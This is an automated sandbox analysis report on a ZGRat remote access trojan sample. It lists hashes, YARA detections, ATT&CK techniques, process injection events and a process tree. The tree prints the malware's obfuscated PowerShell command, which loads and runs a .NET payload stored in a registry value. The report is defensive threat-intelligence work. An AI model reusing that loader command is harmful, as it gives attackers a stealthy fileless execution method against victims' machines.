zgrat | dbbe21f14ca93d658be3606974e289edf4b205b22d967324c49cba1950f29b9e

Analysis

max time kernel
150s
max time network
123s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
20/03/2024, 09:25

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
Size 3.1MB
Sample240320-ldly2ade33
SHA256 dbbe21f14ca93d658be3606974e289edf4b205b22d967324c49cba1950f29b9e
MD5 a67169c874028b84c830f38235fc7d3c
SHA1 4bd992ad38ae9c0746e28882ab5f2e2ebecce99e
SHA512 068028d5375658f12038433d9de1fba924145f938793300a683c9249afdbccee10b848be34a73b54cd2cba820ce649eba95596ac6276867430acf2f617c021b8
SSDEEP 98304:J9B5qENyycznpvioeTxDQxpsn2gvZ+w2UX:zBn4npvigqnTvZl2UX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

zgrat evasion rat

Malware Config

Signatures

Detect ZGRat V1 35 IoCs

resource	yara_rule
behavioral1/memory/2928-3-0x0000000006200000-0x0000000006512000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-4-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-5-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-7-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-9-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-11-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-13-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-15-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-17-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-19-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-21-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-23-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-25-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-27-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-29-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-31-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-33-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-35-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-37-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-39-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-41-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-43-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-45-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-47-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-49-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-51-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-53-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-55-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-57-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-59-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-61-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-63-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-65-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/2928-67-0x0000000006200000-0x000000000650C000-memory.dmp	family_zgrat_v1
behavioral1/memory/1948-4903-0x0000000004B50000-0x0000000004C38000-memory.dmp	family_zgrat_v1

Modifies security service 2 TTPs 2 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Key created	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\MpsSvc\Parameters\PortKeywords\DHCP	svchost.exe
Set value (data)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\MpsSvc\Parameters\PortKeywords\DHCP\Collection	svchost.exe

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 1728 created 436	1728	powershell.EXE	5

ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat

Executes dropped EXE 1 IoCs

pid	Process
1948	$773864ba5ec43f

Loads dropped DLL 1 IoCs

pid	Process
2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.EXE

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 2928 set thread context of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 set thread context of 1948	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	31
PID 1728 set thread context of 1256	1728	powershell.EXE	35

Modifies data under HKEY_USERS 2 IoCs

description	ioc	Process
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = d072e89da87ada01	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.EXE

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
1728	powershell.EXE
1728	powershell.EXE
1256	dllhost.exe
1256	dllhost.exe
1256	dllhost.exe
1256	dllhost.exe
1256	dllhost.exe

Suspicious use of AdjustPrivilegeToken 6 IoCs

description	pid	Process
Token: SeDebugPrivilege	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
Token: SeDebugPrivilege	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
Token: SeDebugPrivilege	1948	$773864ba5ec43f
Token: SeDebugPrivilege	1728	powershell.EXE
Token: SeDebugPrivilege	1728	powershell.EXE
Token: SeDebugPrivilege	1256	dllhost.exe

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 2928 wrote to memory of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 wrote to memory of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 wrote to memory of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 wrote to memory of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 wrote to memory of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 wrote to memory of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 wrote to memory of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 wrote to memory of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 wrote to memory of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 wrote to memory of 2576	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	30
PID 2928 wrote to memory of 1948	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	31
PID 2928 wrote to memory of 1948	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	31
PID 2928 wrote to memory of 1948	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	31
PID 2928 wrote to memory of 1948	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	31
PID 2928 wrote to memory of 1948	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	31
PID 2928 wrote to memory of 1948	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	31
PID 2928 wrote to memory of 1948	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	31
PID 2928 wrote to memory of 1948	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	31
PID 2928 wrote to memory of 1948	2928	SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe	31
PID 2848 wrote to memory of 1728	2848	taskeng.exe	33
PID 2848 wrote to memory of 1728	2848	taskeng.exe	33
PID 2848 wrote to memory of 1728	2848	taskeng.exe	33
PID 1728 wrote to memory of 1256	1728	powershell.EXE	35
PID 1728 wrote to memory of 1256	1728	powershell.EXE	35
PID 1728 wrote to memory of 1256	1728	powershell.EXE	35
PID 1728 wrote to memory of 1256	1728	powershell.EXE	35
PID 1728 wrote to memory of 1256	1728	powershell.EXE	35
PID 1728 wrote to memory of 1256	1728	powershell.EXE	35
PID 1728 wrote to memory of 1256	1728	powershell.EXE	35
PID 1728 wrote to memory of 1256	1728	powershell.EXE	35
PID 1728 wrote to memory of 1256	1728	powershell.EXE	35
PID 1256 wrote to memory of 436	1256	dllhost.exe	5
PID 1256 wrote to memory of 480	1256	dllhost.exe	6
PID 1256 wrote to memory of 492	1256	dllhost.exe	7
PID 1256 wrote to memory of 500	1256	dllhost.exe	8
PID 1256 wrote to memory of 604	1256	dllhost.exe	9
PID 1256 wrote to memory of 684	1256	dllhost.exe	10
PID 1256 wrote to memory of 748	1256	dllhost.exe	11
PID 1256 wrote to memory of 808	1256	dllhost.exe	12
PID 1256 wrote to memory of 856	1256	dllhost.exe	13
PID 1256 wrote to memory of 972	1256	dllhost.exe	15
PID 1256 wrote to memory of 240	1256	dllhost.exe	16
PID 1256 wrote to memory of 332	1256	dllhost.exe	17
PID 1256 wrote to memory of 1076	1256	dllhost.exe	18
PID 1256 wrote to memory of 1704	1256	dllhost.exe	24
PID 1256 wrote to memory of 1808	1256	dllhost.exe	25
PID 1256 wrote to memory of 2568	1256	dllhost.exe	29
PID 1256 wrote to memory of 1948	1256	dllhost.exe	31
PID 1256 wrote to memory of 2848	1256	dllhost.exe	32
PID 1256 wrote to memory of 1796	1256	dllhost.exe	36

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:436
- C:\Windows\System32\dllhost.exe
  C:\Windows\System32\dllhost.exe /Processid:{08832a0e-7e32-436d-adb4-2bc554fa5721}
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1256

C:\Windows\system32\services.exe
C:\Windows\system32\services.exe
1⤵
PID:480
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k DcomLaunch
  2⤵
  PID:604
- - C:\Windows\system32\wbem\wmiprvse.exe
    C:\Windows\system32\wbem\wmiprvse.exe -Embedding
    3⤵
    PID:2568
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k RPCSS
  2⤵
  PID:684
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted
  2⤵
  - Modifies security service
  PID:748
- C:\Windows\System32\svchost.exe
  C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted
  2⤵
  PID:808
- - C:\Windows\system32\Dwm.exe
    "C:\Windows\system32\Dwm.exe"
    3⤵
    PID:1796
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k netsvcs
  2⤵
  PID:856
- - C:\Windows\system32\taskeng.exe
    taskeng.exe {FD2CC624-8A3A-4F11-A5FC-5C4852613FFC} S-1-5-18:NT AUTHORITY\System:Service:
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:2848
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
      C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+''+[Char](79)+''+[Char](70)+''+[Char](84)+''+[Char](87)+''+'A'+''+'R'+''+[Char](69)+'').GetValue('$'+[Char](55)+'7'+'s'+''+[Char](116)+'ag'+'e'+''+[Char](114)+'')).EntryPoint.Invoke($Null,$Null)"
      4⤵
      Suspicious use of NtCreateUserProcessOtherParentProcess
      Drops file in System32 directory
      Suspicious use of SetThreadContext
      Modifies data under HKEY_USERS
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1728
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalService
  2⤵
  PID:972
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k NetworkService
  2⤵
  PID:240
- C:\Windows\System32\spoolsv.exe
  C:\Windows\System32\spoolsv.exe
  2⤵
  PID:332
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceNoNetwork
  2⤵
  PID:1076
- C:\Windows\system32\svchost.exe
  C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation
  2⤵
  PID:1704
- C:\Windows\system32\sppsvc.exe
  C:\Windows\system32\sppsvc.exe
  2⤵
  PID:1808

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:492

C:\Windows\system32\lsm.exe
C:\Windows\system32\lsm.exe
1⤵
PID:500

C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
"C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe"
1⤵
- Loads dropped DLL
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2928
- C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe
  "C:\Users\Admin\AppData\Local\Temp\SecuriteInfo.com.Win32.RATX-gen.4122.25845.exe"
  2⤵
  PID:2576
- C:\Users\Admin\AppData\Local\Temp\$773864ba5ec43f
  "C:\Users\Admin\AppData\Local\Temp\$773864ba5ec43f"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  PID:1948

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

$773864ba5ec43f

Path \Users\Admin\AppData\Local\Temp\$773864ba5ec43f
Size 3.1MB
SHA256 dbbe21f14ca93d658be3606974e289edf4b205b22d967324c49cba1950f29b9e
MD5 a67169c874028b84c830f38235fc7d3c
SHA1 4bd992ad38ae9c0746e28882ab5f2e2ebecce99e
SHA512 068028d5375658f12038433d9de1fba924145f938793300a683c9249afdbccee10b848be34a73b54cd2cba820ce649eba95596ac6276867430acf2f617c021b8
SSDEEP 98304:J9B5qENyycznpvioeTxDQxpsn2gvZ+w2UX:zBn4npvigqnTvZl2UX
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/436-5001-0x0000000077881000-0x0000000077882000-memory.dmp

Download

memory/436-4982-0x0000000000B70000-0x0000000000B95000-memory.dmp

Download

memory/480-5025-0x0000000037870000-0x0000000037880000-memory.dmp

Download

memory/500-5060-0x0000000037870000-0x0000000037880000-memory.dmp

Download

memory/604-5080-0x0000000037870000-0x0000000037880000-memory.dmp

Download

memory/684-5085-0x0000000037870000-0x0000000037880000-memory.dmp

Download

memory/1256-4971-0x0000000077610000-0x000000007772F000-memory.dmp

Download

memory/1256-4970-0x0000000077830000-0x00000000779D9000-memory.dmp

Download

memory/1256-5018-0x0000000077830000-0x00000000779D9000-memory.dmp

Download

memory/1728-4955-0x0000000001530000-0x00000000015B0000-memory.dmp

Download

memory/1728-4952-0x0000000001530000-0x00000000015B0000-memory.dmp

Download

memory/1728-4973-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Download

memory/1728-4981-0x0000000077610000-0x000000007772F000-memory.dmp

Download

memory/1728-4948-0x0000000019F10000-0x000000001A1F2000-memory.dmp

Download

memory/1728-4960-0x0000000077610000-0x000000007772F000-memory.dmp

Download

memory/1728-4957-0x0000000077830000-0x00000000779D9000-memory.dmp

Download

memory/1728-4956-0x0000000001500000-0x000000000152A000-memory.dmp

Download

memory/1728-4949-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Download

memory/1728-4954-0x0000000001270000-0x0000000001278000-memory.dmp

Download

memory/1728-4953-0x0000000001530000-0x00000000015B0000-memory.dmp

Download

memory/1728-4975-0x0000000077830000-0x00000000779D9000-memory.dmp

Download

memory/1728-4951-0x000007FEF5C20000-0x000007FEF65BD000-memory.dmp

Download

memory/1728-4950-0x0000000001530000-0x00000000015B0000-memory.dmp

Download

memory/1948-4987-0x00000000749D0000-0x00000000750BE000-memory.dmp

Download

memory/1948-4904-0x0000000004B10000-0x0000000004B50000-memory.dmp

Download

memory/1948-4903-0x0000000004B50000-0x0000000004C38000-memory.dmp

Download

memory/1948-4901-0x0000000000400000-0x000000000049C000-memory.dmp

Download

memory/1948-4902-0x00000000749D0000-0x00000000750BE000-memory.dmp

Download

memory/1948-5006-0x0000000004B10000-0x0000000004B50000-memory.dmp

Download

memory/2576-4886-0x0000000000400000-0x000000000042B000-memory.dmp

Download

memory/2928-31-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-41-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-61-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-63-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-65-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-67-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-1986-0x0000000074A50000-0x000000007513E000-memory.dmp

Download

memory/2928-2534-0x0000000004A10000-0x0000000004A50000-memory.dmp

Download

memory/2928-4866-0x0000000000410000-0x0000000000411000-memory.dmp

Download

memory/2928-4867-0x0000000005070000-0x000000000515C000-memory.dmp

Download

memory/2928-4868-0x0000000000B90000-0x0000000000BDC000-memory.dmp

Download

memory/2928-4885-0x0000000004A50000-0x0000000004AA4000-memory.dmp

Download

memory/2928-57-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-55-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-4898-0x0000000074A50000-0x000000007513E000-memory.dmp

Download

memory/2928-53-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-51-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-49-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-47-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-45-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-43-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-59-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-39-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-37-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-35-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-33-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-1-0x0000000074A50000-0x000000007513E000-memory.dmp

Download

memory/2928-29-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-27-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-25-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-23-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-21-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-19-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-17-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-15-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-13-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-11-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-9-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-7-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-5-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-4-0x0000000006200000-0x000000000650C000-memory.dmp

Download

memory/2928-3-0x0000000006200000-0x0000000006512000-memory.dmp

Download

memory/2928-2-0x0000000004A10000-0x0000000004A50000-memory.dmp

Download

memory/2928-0-0x0000000000C00000-0x0000000000F22000-memory.dmp

Download